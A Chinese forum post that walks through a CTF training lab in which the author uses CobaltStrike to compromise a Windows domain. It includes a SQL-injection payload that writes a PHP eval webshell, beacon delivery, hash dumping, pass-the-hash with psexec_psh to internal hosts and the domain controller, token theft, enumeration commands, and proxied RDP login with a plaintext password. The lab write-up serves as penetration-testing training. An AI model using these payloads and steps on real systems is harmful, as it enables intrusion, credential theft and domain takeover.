【CTF】 CobaltStrike超简单自动化拿域控学习!
本帖最后由 孤樱懶契 于 2021-10-23 22:48 编辑# 前言
> 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1
>
> 工具:CobaltStrike 3.14 学习
>
> 最近学习CobaltStrike,所以写一篇关于CobaltStrike的姿势
[有一些细节上的在上篇文章-传送门](https://gylq.gitee.io/2021/08/25/%E3%80%90%E5%B0%81%E7%A5%9E%E5%8F%B0%E3%80%91%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E6%8B%BF%E5%9F%9F%E6%8E%A7/)
上篇文章都讲过了就不赘述了,拿到shell上蚁剑
```
http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST);?>"into outfile 'C:/phpstudy/www/shell.php'
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210825125125629.png)
②蚁剑连接,发现权限很低
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210825125351402.png)
# CobaltStrike超简单拿域控
由于大部分师傅可能都不知道CobaltStrike是啥,我说一下怎么开teamserver,和启动CobaltStrike,具体原理请百度
## 一、启动CobaltStrike
**1、先将CobaltStrike放入kali中,然后启动teamserve命令**
```
./teamserver 192.168.1.105 123456
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910190706634.png)
**2、在我的电脑中启动CobaltStrike,连上50050端口密码123456,主机是我们刚刚设置的ip地址也就是kali的ip地址,具体看图**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910190843123.png)
## 二、脚本web传递拿beacon
1、打开监听器,反弹http的beacon,监听我们内网穿透的端口和地址,[如果有师傅不知道内网穿透的话,可以看我上篇文章](https://gylq.gitee.io/2021/08/25/%E3%80%90%E5%B0%81%E7%A5%9E%E5%8F%B0%E3%80%91%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E6%8B%BF%E5%9F%9F%E6%8E%A7/)
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191104374.png)
**2、在攻击里面找到脚本web传递**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191004064.png)
2、按图设置
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191134314.png)
3、将生成的代码保存起来
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191211759.png)
4、在蚁剑中执行这段代码就可以拿到shell了
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191237891.png)
**5、接着CobaltStrike自动就上线了**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191330778.png)
**6、提权就成功了选择自己一开始的监听器**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191401692.png)
**7、接着就反弹一个system的beacon**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191440237.png)
8、这里可以转到msf探测一下C段,但是我们已经知道10.0.1.8这个ip,可以直接hash传递得到beacon,先制作一个令牌
①先hashdump导出hash
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191706672.png)
②制作令牌就会自动获取我们刚刚导入的hash
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191725856.png)
③记得选择admin开头的接着令牌就成功了
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910191929958.png)
**9、利用令牌直接hash传递拿到10.0.1.8这台机子的system权限**
①设置一个监听直连smb,端口随意
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910192200382.png)
②执行下面命令
```
psexec_psh 10.0.1.8 smb-beacon
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910192238867.png)
③接着10.0.1.8这台机子就上线了,smb形式就是445端口
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910192308245.png)
## 三、拿域控之前的CobaltStrike命令积累学习
**由于我们知道域控机子ip就是10.0.1.6,上篇文章讲过了,就不复述的去实践扫描了,直接开始命令学习**
1、查看当前用户组
```
shell whoami/groups
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910192520024.png)
2、查看域
```
shell net view /domain
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910192559695.png)
3、枚举域内主机
```
shell net view /domain:GYLQ
shell net group "domain Computers" /domain #这个也可以
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910192730087.png)
4、查看DC域控主机
```
shell net group "domain Controllers" /domain
shell nltest/dclist:GYLQ #也可以
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910192947731.png)
5、查看DC的ip
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910192836844.png)
6、查看域的信任关系
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910193026550.png)
7、powershell导入power-view模块,去github找一个**powertools**,这部分只是学习命令,可以跳过
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910193230115.png)
```
powershell Invoke-ACLScanner //查看域的信息
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910193456464.png)
2、查看共享文件夹情况
```
powershell Invoke-ShareFinder
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910193617172.png)
## 四、CobaltStrike自动化拿域控?
上面的漫长的废话搞完了,接下来实操。
1、打开文件管理,看到域控有登陆过这台机子,刚好我们换成域控权限,PID是1796
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910193935194.png)
2、盗取token
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910194011043.png)
3、利用共享文件夹发现可以访问域控的C盘了,这时能拿域控的方法太多,我随便选一个
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910194043684.png)
4、直接用拿10.0.1.8的方法拿10.0.1.6,简直不要太简单了好吧,我上篇文章还要转来转去,接着DC就上线了。
```
psexec_psh 10.0.1.6 smb-beacon
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910194754682.png)
5、怎么进人域控的桌面,接着挂个socks代{过}{滤}理
①进入这里
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910195125669.png)
②接着socks1080
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910195149475.png)
③然后将其中的一个管理员的密码改成testTEST123
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910195456209.png)
④利用proxychains4代{过}{滤}理连上去,不懂看上篇文章,写的很详细
```
proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.8
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210910195641421.png)
# 总结
> 最近学了CobaltStrike才知道这就点几下就拿域控了,不需要复杂的命令。下次加油。
感谢分享。 谢谢楼主大大分享 感谢分享。 感谢分享 这个很实用 学习了,谢谢分享 感谢分享{:17_1070:} 谢谢分享,正在学
谢谢分享,正在学
页:
[1]
2